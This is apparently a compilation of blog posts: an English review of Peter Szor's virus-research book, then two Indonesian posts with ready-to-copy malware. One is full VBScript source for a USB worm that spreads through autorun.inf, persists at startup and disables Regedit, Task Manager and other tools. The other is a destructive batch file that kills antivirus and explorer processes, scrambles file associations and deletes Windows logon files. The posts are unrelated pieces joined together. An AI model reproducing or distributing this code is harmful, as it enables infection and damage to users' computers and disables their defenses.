virus research and defense

This is one of the book which i read long back but it still makes one of the best and descriptive text available on Virus.
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Written by the Peter Szor – the virus expert – “The Art of Computer Virus Research and Defense” presents great material for wanna be experts in Virus research.

Here is the core information about the book,

* Title: The Art of Computer Virus Research and Defense
* Author: Peter Szor
* Publisher: Addison-Wesley Professional
* Hardcover: 744 pages
* Release Date: February 13, 2005
* Rating(Amazon):

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Here is the table of contents



Part: I Strategies of the Attacker

Chapter Virus 1. Introduction to the Games of Nature
Chapter Virus 2. The Fascination of Malicious Code Analysis
Chapter Virus 3. Malicious Code Environments
Chapter Virus 4. Classification of Infection Strategies
Chapter Virus 5. Classification of In-Memory Strategies
Chapter Virus 6. Basic Self-Protection Strategies
Chapter Virus 7. Advanced Code Evolution Techniques and Computer Virus Generator Kits
Chapter Virus 8. Classification According to Payload
Chapter Virus 9. Strategies of Computer Worms
Chapter Virus 10. Exploits, Vulnerabilities, and Buffer Overflow Attacks

Part: II Strategies of the Defender

Chapter Virus 11. Antivirus Defense Techniques
Chapter Virus 12. Memory Scanning and Disinfection
Chapter Virus 13. Worm-Blocking Techniques and Host-Based Intrusion Prevention
Chapter Virus 14. Network-Level Defense Strategies
Chapter Virus 15. Malicious Code Analysis Techniques

Book is divided into 2 parts, first part is focusing on history, inner workings, classification of virus and second part gives you state of art techniques to defend/detect viruses. First 2 chapters goes with early story of viruses, definitions and basic analysis (more to the point). Chapter 4 & 6 are interesting – explaining how virus infects file systems/memory to put itself into action. It explains some of the core windows concepts while throwing light on PE file modification, Kernel infection etc.



Next it mentions how viruses use Anti-Debugging, Encoding, Encryption, Polymorphism etc techniques to protect themselves from being detected and draws on how virus creator kits have simplified jobs of creating state of art viruses in few clicks. Chapter 9 gives special attention to worms – how they are different from Virus, the way they spread over networks & their execution etc.

Second part is very interesting for those who wanna know how Anti-virus work under the hood. It explains how signature based scanning works, Dynamic Decryption, Tracing of Virus code using Emulation, Heuristic scanning methods. It also throws light on various disinfection techniques, integrity-checking methods, virtualization based virus analysis, scanning of virus code etc. Next it goes on describing virus/worm blocking or detection techniques using host/network intrusion detection systems, firewalls, honeypots, behavioral analysis techniques.

On negative side, this book does not show you how to write virus/worm program for obvious reasons. The book is filled with code snippets (most of them in x86 assembly) justifying the concepts but you will be disappointed if you want to code your own virus. Also this book is little old (published in 2005) as per current trends but it still remains great book when it comes to understanding virus & worms.

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virus notepad

Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//

set kalong = createobject(”WScript.Shell”)

‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run,  dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip - Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode

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membuat virus sederhana

saya hanya berbagi mohon fikir-fikir kalau mau menggunakan
Virus komputer adalah sebuah program komputer yang dapat menyalin sendiri atau menggandakan dirinya sendiri dan menginfeksi system komputer yang secara umum bersifat merusak. Tetapi, taukah kamu bahwa virus komputer itu dapat dibuat secara sederhana, tulisan dibawah ini merupakan salah satu cara membuat virus komputer dengan cara yang sangat sederhana. Tetapi sebelum kamu membaca dan mempraktekkan tulisan tersebut perlu dipahami bahwa postingan ini hanya bersifat menambah pengetahuan kamu bukan sebagai hal yang berdampak negatif dan apapun yang terjadi setelah mempraktekkan tulisan dibawah ini, saya terlepas dari dampak yang terjadi..

Mudah cara untuk membuat kode Virus

Virus ini dapat menyerang:
1. Menhapus, NAVAPSVC.exe
2. Menhapus, Explorer.exe (taskbar dan ikon akan hilang)
3. Menhapus, zonelabs.exe
4. mengubah asosiasi file exe menjadi txt (ketika membuka file exe, akan pergi ke notepad)
5. mengubah asosiasi file txt menjadi mp3 (ketika membuka file txt, maka akan terbuka WinAmp atau multimedia player)
6. Menghapus Login / Logoff Screens

Hanya Copy kode di bawah ini lalu paste Pada Notepad:

title virus is my dna
color 0A
@echo off
set end=md “u cant eascape from me-vishnu”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * andhra pradesh- virus created in karimnagar from jits college
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
assoc .mp3=.vcf
cls
msg * hi dude this is begining.
msg * vishnu attcked the system try to challenge him .
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown

Simpan di C: dengan nama installhack.bat
Selesai

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